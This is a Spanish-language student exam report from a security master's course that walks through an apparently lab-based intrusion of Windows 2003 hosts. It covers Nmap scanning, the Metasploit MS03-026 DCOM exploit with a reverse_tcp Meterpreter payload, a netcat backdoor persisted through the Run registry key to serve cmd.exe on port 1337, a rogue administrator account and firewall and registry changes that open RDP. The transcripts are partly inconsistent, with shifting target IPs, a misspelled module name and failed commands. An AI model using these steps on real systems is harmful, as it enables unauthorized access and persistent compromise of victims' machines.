

Alumno: Christian Valdespin Bautista

Maestría en Ingeniería en Seguridad y Tecnologías de la Información.

Materia: Servicios de Seguridad en Sistemas Operativos Multiusuario.

Profesor: M. en C. Marcos Arturo Rosales García.

Actividad: Examen.

Reporte de Actividades:

1. Identificar servidores Windows 2003.
2. Identificar vulnerabilidades y ganar acceso
3. Dejar puerta trasera
4. Instalar keylogger

Punto numero 1

- Procedemos a la recopilación de información del servidor a atacar para ello ejecutamos el comando:
 - Nmap -sP 192.168.3.1-255 -oN exaSAR.txt

```
C:\Nmap_Marcos>nmap -sP 192.168.3.1-255 -oN exaSAR.txt
Starting Nmap 5.21 ( http://nmap.org ) at 2010-10-13 12:39 Hora de verano
1 (Mexico)
Nmap scan report for 192.168.3.1
Host is up (0.00s latency).
MAC Address: 00:1D4:BC:98:77:46 (IBM)
Nmap scan report for 192.168.3.10
Host is up (0.00s latency).
MAC Address: 00:23:58:BB:28:93 (Compal Information (Kunshan) CO.)
Nmap scan report for 192.168.3.11
Host is up (0.00s latency).
MAC Address: 00:100:27:13:40:6d (Cadmus Computer Systems)
Nmap scan report for 192.168.3.12
Host is up (0.00s latency).
MAC Address: 00:26:19:F2:35:6B (Bell)
Nmap scan report for 192.168.3.14
Host is up (0.00s latency).
MAC Address: 00:1B:24:85:38:D0 (Quanta Computer)
Nmap scan report for 192.168.3.15
```

- En base a las ip obtenidas y las marcas de los equipos deducimos el rango de IP que no enfocaremos con el comando:
Nmap -O 192.168.3.X -oN exaSOXX.txt

```
192.168.3.15
192.168.3.35
192.168.3.77
192.168.3.254
```

```

C:\Nmap_Marcos>nmap -O 192.168.3.15 -oN exa5015.txt
Starting Nmap 5.21 ( http://nmap.org ) at 2010-10-18 12:43 Hora de verano centr
1 (Mexico)
Nmap scan report for 192.168.3.15
Host is up (0.00s latency).
Not shown: 992 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1025/tcp  open  NFS-or-IIS
1026/tcp  open  LSA-or-ntern
1433/tcp  open  unknown
MAC Address: 00:0C:29:1D:4B:02 (VMware)
Device type: general purpose
Running: Microsoft Windows XP
OS detail: Microsoft Windows XI SP2 or SP3, or Windows Server 2003
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at http://nmap.org/
submit/
Nmap done: 1 IP address (1 host up) scanned in 14.38 seconds
C:\Nmap_Marcos>nmap -O 192.168.3.15 -oN exa5015.txt

```



Punto numero 2

En la consola de Metasploit ejecutamos el comando:

- use exploit/windows/dcerpc/ms03_026_dcom
- show options

```

msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > show options

Module options:

  Name  Current Setting  Required  Description
  ----  -
  RHOST  192.168.3.15    yes       The target address
  RPORT  135              yes       The target port

Exploit target:

  Id  Name
  --  ---
  0   Windows NT SP3-6a/2000/XP/2003 Universal

msf exploit(ms03_026_dcom) >

```

Después ejecutamos el comando

- set PAYLOAD windows/meterpreter/reverse_tcp
- set RHOST 192.168.3.77 (Máquina Atacada)

- set LHOST 192.168.3.19 (Máquina Local)
- exploit (ejecutamos el exploit)

```
msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms03_026_dcom) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms03_026_dcom) > set RHOST 192.168.3.77
RHOST => 192.168.3.77
msf exploit(ms03_026_dcom) > set LHOST 192.168.3.19
LHOST => 192.168.3.19
msf exploit(ms03_026_dcom) > exploit
```

Dentro del sistema creo una carpeta que se llame cvb para subir los archivos del backdor:

- cd ..
- mkdir cvb

```
msf exploit(ms03_026_dcom) > exploit
Started reverse handler on 192.168.3.19:4444
Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
Binding to 4d9f4a8-7d1c-11cf-861e-00201f6e7c57:0.00ncacn_ip_tcp:192.168.3.31[135] ...
Bound to 4d9f4a8-7d1c-11cf-861e-00201f6e7c57:0.00ncacn_ip_tcp:192.168.3.31[135] ...
Sending exploit ...
Sending stage (748544 bytes) to 192.168.3.31
Meterpreter session 1 opened (192.168.3.19:4444 -> 192.168.3.31:1030) at 2010-10-18 17:45:08 -0600
The DSSPC service did not reply to our request
meterpreter > net user misticvb 1234 /add
[*] Unknown command net.
meterpreter > execute -f cmd.exe -i
```

- * upload c:\\nc c:\\WINDOWS\\SYSTEM32\\

```
msf exploit(ms03_026_dcom) > upload c:\\nc111\\nc c:\\windows\\system32
[*] Unknown command: upload.
```

- En el Shell tecleamos el siguiente comando para que ejecute netcat cuando se inicie la máquina y que espere siempre de puertas abiertas en el puerto 455. Esto lo conseguimos modificando la siguiente clave en el registro:

- > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
- > reg setval -k
HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc
-d nc
- > reg queryval -k
HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc

```
meterpreter > reg enumkey -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
Enumerating: HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run

Values (6):

    SyntPEnh
    Broadcom Wireless Manager UI
    NvCplDaemon
    nvtz
    NVHotkey
    z75FLijE
```

```

msfpreter > reg setval -k HKLM\Software\Microsoft\Windows\CurrentVersion\Run -v R09999 -d "C:\WINDOWS\SYSTEM32\cmd.exe -L -d -p 1337 -e cmd.e
"
Successful set R09999.
msfpreter > reg enumkey -k HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Enumerating: HKLM\Software\Microsoft\Windows\CurrentVersion\Run

Values (7):

SynTFEnh
Broadcom Wireless Manager UI
NVCplDasson
awii
NVHotkey
z75FLijE
R09999

```

- Cuando hayamos completado, tendremos que reiniciar el sistema remoto y poner a prueba Netcat
 - > **reboot**
 - > **nc 192.168.1.9 1337**
- Posteriormente ejecute el siguiente comando para crear un usuario y contraseña dentro del equipo y escalamos permisos de administrador.

```

msf exploit(m09_026_dcom) > net user cvaldespin 1234 /add
[*] exec: net user cvaldespin 1234 /add
Se ha completado el comando correctamente.
msf exploit(m09_026_dcom) > net localgroup Administradores cvaldespin /add
[*] exec: net localgroup Administradores cvaldespin /add
Se ha completado el comando correctamente.

```

- Agregamos al usuario al grupo de escritorio remoto

```

msf exploit(m09_026_dcom) > net user cvaldespin 1234 /add
[*] exec: net user cvaldespin 1234 /add
Se ha completado el comando correctamente.
msf exploit(m09_026_dcom) > net localgroup Administradores cvaldespin /add
[*] exec: net localgroup Administradores cvaldespin /add
Se ha completado el comando correctamente.
msf exploit(m09_026_dcom) > net localgroup "Usuarios de escritorio remoto" cvaldespin /add

```

- Ejecutamos el siguiente comando de nmap para ver si se encuentra abierto el puerto

```

C:\Documents and Settings\FireN0>nmap -PN -p 3389 192.168.3.31

C:\Documents and Settings\FireN0>nmap -PN -p 3389 192.168.3.31
Starting Nmap 5.21 ( http://nmap.org ) at 2010-10-18 18:14 Hora de verano centr
l (Mexico)
Nmap scan report for 192.168.3.31
Host is up (0.0052s latency).
PORT      STATE SERVICE
3389/tcp  closed ms-term-serv
MAC Address: 00:0C:29:2C:D7:6B (VMware)
Nmap done: 1 IP address (1 host up) scanned in 20.48 seconds

```

- Como está cerrado ejecutamos el comando siguiente para agregar el puerto a las políticas del firewall

```

msf exploit(m09_026_dcom) > netsh firewall add portopening protocol = TCP port = 3389 name = RDP mode = ENABL
E scope = CUSTOM addresses = 192.168.3.31
[*] exec: netsh firewall add portopening protocol = TCP port = 3389 name = RDP mode = ENABLE scope = CUSTOM ad
dresses = 192.168.3.31
Aceptar

```

- Comando para permitir que los usuarios se conecten a ese equipo.

```

msf exploit(m09_026_dcom) > net localgroup Administradores cvaldespin /add
[*] exec: net localgroup Administradores cvaldespin /add
Se ha completado el comando correctamente.
msf exploit(m09_026_dcom) > net localgroup "Usuarios de escritorio remoto" cvaldespin /add
[*] exec: net localgroup "Usuarios de escritorio remoto" cvaldespin /add
msf exploit(m09_026_dcom) > upload c:\\nc111 c:\\windows\\system32
[*] Unknown command: upload.
msf exploit(m09_026_dcom) > upload c:\\nc111\\nc c:\\windows\\system32
[*] Unknown command: upload.
msf exploit(m09_026_dcom) > reg add "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" /v
FDenyTSConnections /t REG_DWORD /d 0 /f
[*] exec: reg add "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" /v FDenyTSConnections /
t REG_DWORD /d 0 /f

```

